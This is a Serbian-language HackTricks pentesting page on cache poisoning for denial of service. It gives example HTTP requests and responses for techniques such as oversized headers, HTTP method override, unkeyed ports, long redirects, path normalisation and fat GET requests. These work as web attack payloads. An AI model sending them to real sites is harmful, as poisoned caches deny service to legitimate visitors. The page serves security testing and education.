hacktricks/pentesting-web/cache-deception/cache-poisoning-to-dos.md

151 lines
6.3 KiB
Markdown
Raw Normal View History

# Trovanje keša za DoS
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
{% hint style="danger" %}
Na ovoj stranici možete pronaći različite varijacije za pokušaj da se **veb server odgovori sa greškama** na zahteve koji su **validni za keš servere**
{% endhint %}
* **Prekoračenje HTTP zaglavlja (HHO)**
Pošaljite zahtev sa veličinom zaglavlja većom od one koju podržava veb server, ali manjom od one koju podržava keš server. Veb server će odgovoriti sa 400 odgovorom koji može biti keširan:
```
GET / HTTP/1.1
Host: redacted.com
X-Oversize-Hedear:Big-Value-000000000000000
```
* **HTTP Meta Karakter (HMC) & Neočekivane vrednosti**
Pošaljite zaglavlje koje sadrži neke **štetne meta karaktere** kao što su `\n` i `\r`. Da bi napad uspeo, prvo morate zaobići keš.
```
GET / HTTP/1.1
Host: redacted.com
X-Meta-Hedear:Bad Chars\n \r
```
Loše konfigurisan zaglavlje može biti samo `\:` kao zaglavlje.
Ovo takođe može raditi ako se šalju neočekivane vrednosti, poput neočekivanog Content-Type:
```
GET /anas/repos HTTP/2
Host: redacted.com
Content-Type: HelloWorld
```
* **Neindeksirani zaglavlje**
Neke veb lokacije će vratiti statusni kod greške ako **vide određena zaglavlja** u zahtevu, kao što je zaglavlje _X-Amz-Website-Location-Redirect: nešto_:
```
GET /app.js HTTP/2
Host: redacted.com
X-Amz-Website-Location-Redirect: someThing
HTTP/2 403 Forbidden
Cache: hit
Invalid Header
```
* **Napad preko zamene HTTP metoda (HMO)**
Ako server podržava promenu HTTP metoda pomoću zaglavlja poput `X-HTTP-Method-Override`, `X-HTTP-Method` ili `X-Method-Override`. Moguće je zatražiti validnu stranicu menjajući metod koji server ne podržava, što može rezultirati lošim odgovorom koji se kešira:
```
GET /blogs HTTP/1.1
Host: redacted.com
HTTP-Method-Override: POST
```
* **Neključani port**
Ako se port u zaglavlju Host odražava u odgovoru i nije uključen u ključ keša, moguće je preusmeriti ga na nekorišćeni port:
```
GET /index.html HTTP/1.1
Host: redacted.com:1
HTTP/1.1 301 Moved Permanently
Location: https://redacted.com:1/en/index.html
Cache: miss
```
* **Dugačko preusmeravanje DoS**
Kao u sledećem primeru, x nije keširan, pa napadač može zloupotrebiti ponašanje odgovora preusmeravanja kako bi naterao preusmeravanje da pošalje URL koji je toliko veliki da izaziva grešku. Zatim, ljudi koji pokušavaju da pristupe URL-u bez neke keširane x ključne reči dobiće odgovor o grešci:
```
GET /login?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com
HTTP/1.1 301 Moved Permanently
Location: /login/?x=veryLongUrl
Cache: hit
GET /login/?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com
HTTP/1.1 414 Request-URI Too Large
CF-Cache-Status: miss
```
* **Normalizacija slučaja zaglavlja domaćina**
Zaglavlje domaćina treba da bude neosetljivo na veličinu slova, ali neki veb sajtovi očekuju da bude malim slovima i vraćaju grešku ako nije:
```
GET /img.png HTTP/1.1
Host: Cdn.redacted.com
HTTP/1.1 404 Not Found
Cache:miss
Not Found
```
* **Normalizacija putanje**
Neke stranice će vratiti kodove grešaka slanjem podataka URLenkodiranih u putanji, međutim, keš server će URLdekodirati putanju i sačuvati odgovor za URLdekodiranu putanju:
```
GET /api/v1%2e1/user HTTP/1.1
Host: redacted.com
HTTP/1.1 404 Not Found
Cach:miss
Not Found
```
* **Debeli Get**
Neke keš servere, poput Cloudflare-a, ili veb servere, zaustavljaju GET zahteve sa telom, pa bi ovo moglo biti zloupotrebljeno da bi se keširao nevažeći odgovor:
```
GET /index.html HTTP/2
Host: redacted.com
Content-Length: 3
xyz
HTTP/2 403 Forbidden
Cache: hit
```
## Reference
* [https://anasbetis023.medium.com/dont-trust-the-cache-exposing-web-cache-poisoning-and-deception-vulnerabilities-3a829f221f52](https://anasbetis023.medium.com/dont-trust-the-cache-exposing-web-cache-poisoning-and-deception-vulnerabilities-3a829f221f52)
* [https://youst.in/posts/cache-poisoning-at-scale/?source=post\_page-----3a829f221f52--------------------------------](https://youst.in/posts/cache-poisoning-at-scale/?source=post\_page-----3a829f221f52--------------------------------)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>